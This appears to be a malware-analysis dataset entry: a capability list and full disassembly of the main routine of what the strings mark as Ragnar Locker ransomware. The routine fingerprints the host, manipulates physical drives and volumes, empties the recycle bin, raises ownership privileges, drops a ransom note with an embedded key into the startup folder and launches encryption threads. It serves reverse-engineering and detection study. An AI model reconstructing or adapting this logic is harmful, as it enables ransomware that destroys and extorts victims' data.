Function at 0x404240
Capabilities:
Accept command line arguments
Check os version
Copy file
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create thread
Empty the recycle bin
Encode data using base64 via winapi
Enumerate disk volumes
Get common file path
Get disk information
Get hostname
Get session user name
Get startup folder
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x3248
call fcn.00409210
push esi
push edi
call fcn.00402830
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x101
push eax
lea eax, [ebp - 0xaf8]
mov dword [ebp - 0x38], 0x101
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameW]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xd00]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push str.SOFTWAREMicrosoftCryptography
lea eax, [ebp - 0x1010]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push str.MachineGuid
push str.SOFTWAREMicrosoftCryptography
call fcn.004035b0
push str.ProductName
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov edi, eax
call fcn.004035b0
add esp, 0x10
mov esi, eax
lea eax, [ebp - 0x340]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push esi
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0xd00]
push eax
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0xaf8]
push eax
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0xaf8]
push eax
call fcn.00403a40
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xd00]
push eax
call fcn.00403a40
push edi
mov dword [ebp - 0x18], eax
call fcn.00403a40
push esi
mov edi, eax
call fcn.00403a40
mov esi, eax
lea eax, [ebp - 0x340]
push eax
call fcn.00403a40
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0x6f0]
push dword [ebp - 0x18]
push esi
push edi
push str._s__s__s__s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x30
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 4], 1
mov dword [ebp - 0xc], eax
jne 0x4043dc
xor esi, esi
nop dword [eax]
lea eax, [ebp - 0x6f0]
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4043dc
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp esi, 0x8000
jne 0x4043d3
push 0x29a
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
inc esi
cmp esi, 0xfae9
jl 0x404390
mov eax, dword fs:[0x30]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 0xa4], 6
jae 0x404405
mov dword [section..data], 0
mov dword [0x40c004], 0
xor edi, edi
nop word [eax + eax]
push edi
lea eax, [ebp - 0x8f0]
push str..PHYSICALDRIVE_d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x8f0]
push 0
push 1
push 3
push 0
push 7
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4044c8
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
push eax
push 0
push 0
push 0x28
lea eax, [ebp - 0xf0]
xorps xmm0, xmm0
push eax
push 0x7c0f4
movaps xmmword [ebp - 0xf0], xmm0
movaps xmmword [ebp - 0xe0], xmm0
push esi
movq qword [ebp - 0xd0], xmm0
mov dword [ebp - 0xf0], 0x28
movlpd qword [ebp - 0xe8], xmm0
mov dword [ebp - 0xe0], 3
mov dword [ebp - 0xdc], 0
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
push 0
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
push 0
push 0
push 0x70140
push esi
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc edi
cmp edi, 0x10
jl 0x404410
push 0x100
lea eax, [ebp - 0x440]
mov dword [ebp - 0x30], 0x5c3a20
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstVolumeA]
mov esi, eax
lea eax, [ebp - 0x40]
push eax
push 0x100
lea eax, [ebp - 0x640]
push eax
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameA]
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jne 0x40457d
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov edx, eax
cmp edx, 4
jae 0x404533
xor cl, cl
jmp 0x404548
mov eax, 4
mov cl, 0x43
test al, dl
je 0x404548
nop
add eax, eax
inc cl
test edx, eax
jne 0x404540
lea eax, [ebp - 0x440]
mov byte [ebp - 0x30], cl
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_SetVolumeMountPointA]
test eax, eax
je 0x40457d
lea eax, [ebp - 0x40]
push eax
push 0x100
lea eax, [ebp - 0x640]
push eax
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameA]
push 0x100
lea eax, [ebp - 0x1110]
push eax
push 0
push 0
lea eax, [ebp - 0xac]
push eax
push 0x100
lea eax, [ebp - 0x1210]
push eax
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
push 0x100
lea eax, [ebp - 0x440]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeA]
test eax, eax
jne 0x4044f4
push esi
call dword [sym.imp.KERNEL32.DLL_FindVolumeClose]
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
push 0x40
push 0x40d048
push 0x40
push section..edata
call fcn.00403240
add esp, 0x10
mov dword [ebp - 0x50], eax
push 0x40d254
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
push 0x40d260
push 0x40
push section..edata
call fcn.00403240
add esp, 0x10
mov dword [ebp - 8], eax
push 0x40d660
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
push 0x40d668
push 0x40
push section..edata
call fcn.00403240
mov edi, dword [ebp - 0xc]
add esp, 0x10
xor esi, esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 4], 1
jle 0x40465d
push str._backup
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
mov eax, 1
cmove esi, eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
test esi, esi
jne 0x4046dd
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
push esi
push esi
push esi
push esi
mov dword [ebp - 0x70], eax
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x44]
push eax
push esi
lea eax, [ebp - 0x70]
push eax
push 0x402e30
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push dword [ebp - 0x6c]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x48]
push eax
push esi
lea eax, [ebp - 0x70]
push eax
push 0x402cc0
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push dword [ebp - 0x70]
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea eax, [ebp - 0xc]
push eax
push 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x80], 1
push eax
push str.SeTakeOwnershipPrivilege
push 0
mov dword [ebp - 0x74], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0x10
lea eax, [ebp - 0x80]
push eax
push 0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea eax, [ebp - 0x7c]
push eax
push str.SeRestorePrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0x10
lea eax, [ebp - 0x80]
push eax
push 0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x40c960
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push eax
mov word [ebp - 0x20], 0x100
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov eax, dword [0x40c960]
mov dword [0x40c944], 2
mov dword [0x40c940], 0x10000000
mov dword [0x40c948], 3
mov dword [0x40c950], 0
mov dword [0x40c94c], 0
mov dword [0x40c95c], eax
mov dword [0x40c954], 0
mov dword [0x40c958], 0
call section..text
push 0x1c3
push 0x40d090
push 0x40
push section..edata
call fcn.00403240
add esp, 0x10
mov dword [0x40c018], eax
push 0x40de68
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
push 0x40de70
push 0x40
push section..edata
mov dword [ebp - 0x28], eax
call fcn.00403240
add esp, 0x10
mov dword [ebp - 0x54], eax
cmp dword [ebp - 4], 1
jle 0x404922
push str._backup
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x404922
push 0x104
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40491a
mov dword [esi + 0x100], 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x5c
lea eax, [ebp - 0x1a28]
mov dword [ebp - 0x92], 0x5c
mov dword [ebp - 0x90], 0x3f
mov dword [ebp - 0x8e], 0x5c
push eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push dword [edi + 8]
lea eax, [ebp - 0x1a28]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x40a65c
lea eax, [ebp - 0x1a28]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x1a28]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x2e48]
push eax
push 0
push esi
push 0x403a00
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 0x2238], eax
test eax, eax
je 0x40491a
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x2238]
push eax
push 1
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push dword [ebp - 0x2238]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0x101
push eax
lea eax, [ebp - 0x1618]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameW]
lea eax, [ebp - 0x1618]
push eax
call fcn.00403a40
add esp, 4
mov esi, eax
lea eax, [ebp - 0x540]
mov dword [ebp - 0x5c], esi
push 0x40a670
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push str.__R4GN4R_
push 0x40c430
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push esi
push 0x40c430
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push str.__.txt
push 0x40c430
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x40c430
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0
push 0x2e
push 0x40c020
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x540]
push eax
push 0x40c020
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0
push 0x18
lea eax, [ebp - 0x2a48]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x2a48]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push dword [ebp - 0x50]
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push 0x58
push 8
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0x40000001
push dword [ebp - 8]
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x404a98
push dword [ebp - 0x10]
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
test esi, esi
je 0x404a98
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x404a6b
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x404a60
lea eax, [ebp - 0x10]
push eax
push esi
push 0x40000001
push dword [ebp - 8]
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x404a98
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
push 0
push 0x80
push 4
push 0
push 0
push 0xc0000000
push 0x40c020
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebp - 8], eax
test eax, eax
je 0x404b20
push 0
lea ecx, [ebp - 0x58]
push ecx
push dword [ebp - 0x28]
push dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push str.
push str.___END_KEY_R_R___
push esi
push str.___BEGIN_KEY_R_R___
push str.
lea eax, [ebp - 0x240]
push str._r_n_s_r_n_r_n_s_r_n_s_r_n_s_r_n_r_n_s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push 0
lea ecx, [ebp - 0x58]
push ecx
push eax
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
lea eax, [ebp - 0x2a48]
push eax
push 0x40c020
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
push str..ragn_r_
push 0x40c840
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push dword [ebp - 0x5c]
push 0x40c840
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
mov eax, dword [ebp - 4]
cmp eax, 1
jle 0x404cd1
push str._list
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x404b8a
push dword [edi + 8]
call fcn.00403320
add esp, 4
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov eax, dword [ebp - 4]
cmp eax, 1
jle 0x404cd1
push str._force
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x404cce
push 0x104
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40491a
mov dword [esi + 0x100], 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xa8], 0x5c
lea eax, [ebp - 0x1e38]
mov dword [ebp - 0xa6], 0x5c
mov dword [ebp - 0xa4], 0x3f
mov dword [ebp - 0xa2], 0x5c
push eax
mov dword [ebp - 0xa0], 0
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push dword [edi + 8]
lea eax, [ebp - 0x1e38]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x40a65c
lea eax, [ebp - 0x1e38]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push dword [edi + 8]
lea eax, [ebp - 0xf10]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40c430
lea eax, [ebp - 0xf10]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 1
lea eax, [ebp - 0xf10]
push eax
push 0x40c020
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
lea eax, [ebp - 0x1e38]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x3248]
push eax
push 0
push esi
push 0x403a20
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 0x2638], eax
test eax, eax
je 0x40491a
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x2638]
push eax
push 1
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push dword [ebp - 0x2638]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov eax, dword [ebp - 4]
xor esi, esi
xor ecx, ecx
cmp eax, 1
jle 0x404d14
push 0x40a800
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
mov eax, 1
cmove esi, eax
cmp dword [ebp - 4], eax
jle 0x404d12
push str._vmback
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x404d12
mov esi, 1
mov ecx, esi
jmp 0x404d14
xor ecx, ecx
push ecx
push esi
call fcn.00403630
add esp, 8
cmp esi, 1
je 0x404e71
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x404d37
push 1
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x404d47
push 1
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
xorps xmm0, xmm0
mov dword [ebp - 0x100], 0
movaps xmmword [ebp - 0x140], xmm0
movaps xmmword [ebp - 0x130], xmm0
movaps xmmword [ebp - 0x120], xmm0
movaps xmmword [ebp - 0x110], xmm0
movaps xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0x140], 0x44
call dword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x14]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x14]
push eax
push 1
push 0
push 0
push 0xf01ff
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push 4
lea eax, [ebp - 0x60]
push eax
push 0xc
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov eax, 3
mov dword [ebp - 0x114], 1
mov word [ebp - 0x110], ax
lea eax, [ebp - 0x7f0]
push 0x7f
push eax
mov dword [ebp - 0x138], str.WinSta0Default
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push str._notepad.exe
lea eax, [ebp - 0x7f0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x40c020
lea eax, [ebp - 0x1410]
push 0x40a854
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x140]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
lea eax, [ebp - 0x1410]
push eax
lea eax, [ebp - 0x7f0]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x404e71
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0xbc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]